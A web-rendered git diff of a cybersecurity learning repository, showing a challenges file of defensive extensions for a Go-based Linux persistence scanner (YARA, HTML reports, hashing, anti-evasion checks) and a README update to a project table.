**What you'll learn:** How to balance expressiveness with safety in configuration formats. Glob patterns are more useful than exact matches but introduce the risk of over-suppression.
|
||||
|
||||
**Implementation approach:**
|
||||
|
||||
1. Modify `matchesFinding` in config.go to check if the path field contains glob characters (*, ?, [)
|
||||
2. If it does, use `filepath.Match(rule.Path, finding.Path)` instead of exact comparison
|
||||
3. Add test cases for wildcard and question mark patterns
|
||||
4. Document the supported glob syntax in the ignore file format
|
||||
|
||||
**Hints:**
|
||||
- `filepath.Match()` is safe (no `**` recursion, no regex injection)
|
||||
- Consider adding a `pattern:` field separate from `path:` if you want to preserve backward compatibility
|
||||
|
||||
### 5. Add HTML Report Output
|
||||
|
||||
JSON is great for machines. Terminal output is great for quick checks. But incident response reports need to be shared with management and legal teams who don't read terminals.
|
||||
|
||||
**What to build:** An `--html` flag that generates a self-contained HTML report with findings grouped by severity, sortable tables, and expandable evidence sections.
|
||||
|
||||
**What you'll learn:** Report generation, Go's html/template package, and how to produce self-contained (no external CSS/JS dependencies) HTML documents.
|
||||
|
||||
**Implementation approach:**
|
||||
|
||||
1. Create internal/report/html.go with an HTML template
|
||||
2. Embed the CSS inline in a `<style>` block
|
||||
3. Use severity colors from the terminal renderer as hex codes
|
||||
4. Include the scan metadata (hostname, timestamp, duration) in a header
|
||||
|
||||
**Hints:**
|
||||
- Use `html/template` (not `text/template`) to auto-escape evidence strings that might contain HTML
|
||||
- Embed the template with `//go:embed` for a single-binary deployment
|
||||
- Consider a summary chart using pure CSS bar widths (no JavaScript needed)
|
||||
|
||||
### 6. Add File Hash Collection
|
||||
|
||||
When a finding references a suspicious file, incident responders need to verify it hasn't changed. Collecting SHA256 hashes at scan time provides a tamper-evident record.
|
||||
|
||||
**What to build:** Add a `Hash` field to types.Finding. Compute SHA256 for every file that produces a finding above info severity.
|
||||
|
||||
**What you'll learn:** How forensic tools chain evidence with cryptographic hashes, and the performance implications of hashing files during a scan.
|
||||
|
||||
**Hints:**
|
||||
- Use `crypto/sha256` and `io.Copy()` for streaming hash computation
|
||||
- Only hash regular files, not directories or symlinks
|
||||
- Add the hash to both terminal and JSON output
|
||||
- Consider a `--no-hash` flag for performance-sensitive environments
|
||||
|
||||
## Advanced Challenges
|
||||
|
||||
### 7. Add YARA Rule Integration
|
||||
|
||||
YARA is the industry standard for pattern matching in files. Security teams write YARA rules to detect specific malware families, threat actor tooling, and indicators of compromise. Integrating YARA would let sentinel use the same rules as commercial EDR products.
|
||||
|
||||
**What to build:** A `--yara-rules` flag that loads a YARA rules file and applies it to every file that scanners examine. YARA matches produce findings with the rule name as the title.
|
||||
|
||||
**What you'll learn:** CGo integration (YARA's Go bindings use CGo), rule-based detection engines, and how the commercial security industry approaches pattern matching.
|
||||
|
||||
**Architecture changes needed:**
|
||||
|
||||
```
|
||||
Scanner
|
||||
│
|
||||
├── MatchLine() (existing regex engine)
|
||||
│
|
||||
└── MatchYARA() (new YARA engine)
|
||||
│
|
||||
▼
|
||||
yara.Rules compiled from user-provided .yar file
|
||||
```
|
||||
|
||||
**Implementation steps:**
|
||||
|
||||
1. Add github.com/hillu/go-yara/v4 dependency
|
||||
2. Create internal/scanner/yara.go with rule compilation and matching
|
||||
3. Modify ScanFileForPatterns to optionally apply YARA rules
|
||||
4. Map YARA rule metadata (severity, mitre) to Finding fields
|
||||
|
||||
**Gotchas:**
|
||||
- CGo means cross-compilation becomes harder and builds are slower
|
||||
- YARA rule compilation is expensive; compile once and reuse the scanner object
|
||||
- Consider making YARA optional (build tag) to keep the zero-dependency default
|
||||
|
||||
### 8. Add Remote Scanning via SSH
|
||||
|
||||
Right now sentinel must be deployed on the target host. For fleet-wide scanning, SSH-based remote execution would let a single workstation scan hundreds of servers.
|
||||
|
||||
**What to build:** A `sentinel remote scan --host user@server` command that SSH into the target, copies the binary, runs it, and streams JSON results back.
|
||||
|
||||
**What you'll learn:** SSH protocol integration in Go, binary self-deployment, and the architectural difference between agent-based and agentless scanning.
|
||||
|
||||
**Implementation steps:**
|
||||
|
||||
1. Use golang.org/x/crypto/ssh for the SSH connection
|
||||
2. Use SFTP to copy the sentinel binary to the remote host
|
||||
3. Execute `sentinel scan --json` on the remote host
|
||||
4. Parse the JSON output locally and render it
|
||||
5. Clean up the remote binary after scanning
|
||||
|
||||
**Gotchas:**
|
||||
- The binary must be compiled for the target architecture (GOOS/GOARCH)
|
||||
- SSH key authentication should be preferred over password
|
||||
- Consider a `--parallel` flag for scanning multiple hosts concurrently
|
||||
|
||||
### 9. Add Timeline Analysis
|
||||
|
||||
Instead of a point-in-time scan, build a timeline that shows when each persistence mechanism was installed by correlating file modification times, cron job schedules, and systemd unit timestamps.
|
||||
|
||||
**What to build:** A `sentinel timeline` command that produces a chronological view of persistence installations, helping incident responders reconstruct the attack sequence.
|
||||
|
||||
**What you'll learn:** Forensic timeline reconstruction, filesystem metadata analysis, and how time-based correlation reveals attack patterns that individual findings miss.
|
||||
|
||||
**Implementation approach:**
|
||||
|
||||
1. Extend Finding with a `Timestamp` field (file mtime)
|
||||
2. Sort findings by timestamp across all scanners
|
||||
3. Render as a chronological list with time deltas between events
|
||||
4. Highlight clusters of activity (multiple changes within minutes suggest automated installation)
|
||||
|
||||
## Security Challenges
|
||||
|
||||
### 10. Add Anti-Evasion Checks
|
||||
|
||||
Attackers know about persistence scanners. They use techniques to evade detection:
|
||||
|
||||
- Unicode homoglyphs in filenames (using Cyrillic "е" instead of Latin "e")
|
||||
- Null bytes in file content to break line-based parsing
|
||||
- Extremely long lines to exhaust regex engines (ReDoS)
|
||||
- Symlinks pointing outside the scan root
|
||||
- Hidden files (dotfiles) in unexpected locations
|
||||
|
||||
**What to build:** Harden the scanner against these evasion techniques.
|
||||
|
||||
**What you'll learn:** The adversarial mindset. Building a security tool that can itself be attacked teaches you to think like the attacker.
|
||||
|
||||
**Specific checks to add:**
|
||||
- Detect non-ASCII characters in filenames and flag them
|
||||
- Follow symlinks cautiously (resolve and verify they stay within the scan root)
|
||||
- Set a maximum line length for pattern matching
|
||||
- Scan dotfiles explicitly (some scanners skip them)
|
||||
|
||||
### 11. Add CIS Benchmark Cross-Reference
|
||||
|
||||
Map sentinel findings to CIS Benchmark controls for the target distribution. A finding like "World-writable unit file" maps to CIS control 6.1.x (System File Permissions).
|
||||
|
||||
**What to build:** A `--cis` flag that adds CIS control IDs alongside MITRE technique IDs in the output.
|
||||
|
||||
**What you'll learn:** How compliance frameworks overlap with threat detection, and why organizations need both perspectives.
|
||||
|
||||
## Performance Challenges
|
||||
|
||||
### 12. Benchmark and Optimize Pattern Matching
|
||||
|
||||
The current pattern engine runs all 16 regexes against every line. On systems with thousands of configuration files, this could become a bottleneck.
|
||||
|
||||
**What to build:** Add benchmarks using `testing.B`, profile the pattern engine, and optimize hot paths.
|
||||
|
||||
**What you'll learn:** Go profiling with pprof, regex performance characteristics, and when optimization matters versus when it doesn't.
|
||||
|
||||
**Approach:**
|
||||
- Write benchmarks for MatchLine with various line types (matching, non-matching, long lines)
|
||||
- Profile with `go test -bench . -cpuprofile cpu.prof`
|
||||
- Consider: early exit on first match when severity ordering is irrelevant, pre-filtering with strings.Contains before regex, Aho-Corasick for literal patterns
|
||||
|
||||
**Target:** Scan 10,000 files in under 1 second on a single core.
|
||||
|
||||
## Contribution Ideas
|
||||
|
||||
Finished a challenge? Share it back:
|
||||
|
||||
1. Fork the [sentinel repo](https://github.com/CarterPerez-dev/sentinel)
|
||||
2. Implement your extension in a new branch
|
||||
3. Add tests and testdata fixtures
|
||||
4. Submit a PR with your implementation and a description of what it detects
|
||||
|
||||
## Challenge Yourself Further
|
||||
|
||||
### Build Something New
|
||||
|
||||
Use the concepts you learned here to build:
|
||||
- A Windows persistence scanner (Run keys, scheduled tasks, WMI subscriptions, services)
|
||||
- A macOS persistence scanner (LaunchAgents, LaunchDaemons, login items, cron)
|
||||
- A Kubernetes persistence scanner (DaemonSets, CronJobs, mutating webhooks, static pods)
|
||||
|
||||
### Study Real Implementations
|
||||
|
||||
Compare sentinel's approach to production tools:
|
||||
- [Velociraptor](https://github.com/Velocidex/velociraptor) - Uses VQL queries to hunt for persistence across endpoints
|
||||
- [PEASS-ng/linPEAS](https://github.com/carlospolop/PEASS-ng) - Bash-based Linux privilege escalation and persistence enumeration
|
||||
- [Autoruns for Linux](https://github.com/microsoft/Autoruns-for-Linux) - Microsoft's take on Linux persistence enumeration
|
||||
|
||||
Read their code, understand their detection rules, and compare coverage. What do they catch that sentinel doesn't? What does sentinel catch that they miss?
|
||||
|
|
@ -25,11 +25,11 @@
|
|||
<h2 align="center"><strong>View Complete Projects:</strong></h2>
|
||||
<div align="center">
|
||||
<a href="https://github.com/CarterPerez-dev/Cybersecurity-Projects/tree/main/PROJECTS">
|
||||
<img src="https://img.shields.io/badge/Full_Source_Code-21/67-blue?style=for-the-badge&logo=github" alt="Projects"/>
|
||||
<img src="https://img.shields.io/badge/Full_Source_Code-25/67-blue?style=for-the-badge&logo=github" alt="Projects"/>
|
||||
</a>
|
||||
</div>
|
||||
|
||||
<p align="center"><sub><em>Currently building: project #22</em></sub></p>
|
||||
<p align="center"><sub><em>Currently building: project #26</em></sub></p>
|
||||
|
||||
---
|
||||
|
||||
|
|
@ -69,7 +69,7 @@ Tools, courses, certifications, communities, and frameworks for cybersecurity pr
|
|||
| **[Simple C2 Beacon](./PROJECTS/beginner/c2-beacon)**<br>Command and Control beacon/server |      | C2 architecture • MITRE ATT&CK • WebSocket protocol • XOR encoding<br>[Source Code](./PROJECTS/beginner/c2-beacon) \| [Docs](./PROJECTS/beginner/c2-beacon/learn) |
|
||||
| **[Base64 Encoder/Decoder](./SYNOPSES/beginner/Base64.Encoder.Decoder.md)**<br>Multi-format encoding tool |    | Base64/32 encoding • URL encoding • Auto-detection<br>[Source Code](./PROJECTS/beginner/base64-tool) \| [Docs](./PROJECTS/beginner/base64-tool/learn) |
|
||||
| **[Linux CIS Hardening Auditor](./SYNOPSES/beginner/Linux.CIS.Hardening.Auditor.md)**<br>CIS benchmark compliance checker |    | CIS benchmarks • System hardening • Compliance scoring • Shell scripting<br>[Learn More](./SYNOPSES/beginner/Linux.CIS.Hardening.Auditor.md) |
|
||||
| **[Systemd Persistence Scanner](./SYNOPSES/beginner/Systemd.Persistence.Scanner.md)**<br>Hunt Linux persistence mechanisms |    | Persistence techniques • Systemd internals • Cron analysis • Threat hunting<br>[Learn More](./SYNOPSES/beginner/Systemd.Persistence.Scanner.md) |
|
||||
| **[Systemd Persistence Scanner](./PROJECTS/beginner/systemd-persistence-scanner)**<br>Hunt Linux persistence mechanisms |    | Persistence techniques • Systemd internals • Cron analysis • Threat hunting<br>[Source Code](./PROJECTS/beginner/systemd-persistence-scanner) \| [Docs](./PROJECTS/beginner/systemd-persistence-scanner/learn) |
|
||||
| **[Linux eBPF Security Tracer](./SYNOPSES/beginner/Linux.eBPF.Security.Tracer.md)**<br>Real-time syscall tracing with eBPF |     | eBPF programs • Syscall tracing • BCC framework • Security observability<br>[Learn More](./SYNOPSES/beginner/Linux.eBPF.Security.Tracer.md) |
|
||||
| **[Trojan Application Builder](./SYNOPSES/beginner/Trojan.Application.Builder.md)**<br>Educational malware lifecycle demo |    | Trojan anatomy • Data exfiltration • File encryption • Attack lifecycle<br>[Learn More](./SYNOPSES/beginner/Trojan.Application.Builder.md) |
|
||||
| **[DNS Sinkhole](./SYNOPSES/beginner/DNS.Sinkhole.md)**<br>Pi-hole-style malware domain blocker |    | DNS protocol • Blocklist management • Query logging • Network defense<br>[Learn More](./SYNOPSES/beginner/DNS.Sinkhole.md) |
|
||||
|
|
@ -141,4 +141,4 @@ Tools, courses, certifications, communities, and frameworks for cybersecurity pr
|
|||
|
||||
## License
|
||||
|
||||
AGPL 3.0
|
||||
AGPL 3.0
|
||||
|
|
|
|||
Loading…
Reference in New Issue